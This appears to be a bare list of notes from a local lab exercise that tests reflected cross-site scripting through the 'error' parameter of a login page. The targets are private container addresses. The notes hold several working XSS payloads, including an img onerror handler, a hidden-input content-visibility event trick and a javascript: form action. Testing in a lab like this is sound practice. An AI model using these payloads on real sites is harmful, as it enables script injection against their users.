Login

?error=hola<img src=xxx onerror=alert(1)>

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http://172.17.0.2:9090/

http://172.17.0.2:9090/?error=<input type=hidden oncontentvisibilityautostatechange=prompt(1) style="content-visibility:auto">

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http://172.17.0.2:5050/?error=</div><input type=hidden oncontentvisibilityautostatechange=prompt(1) style="content-visibility:auto">

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http://172.17.0.2:8080/?error=hola><img src=xxx onerror=alert(1)>

http://172.17.0.2:8080/?error=<form action=javascript:prompt(1)><input type=submit value=XSS>

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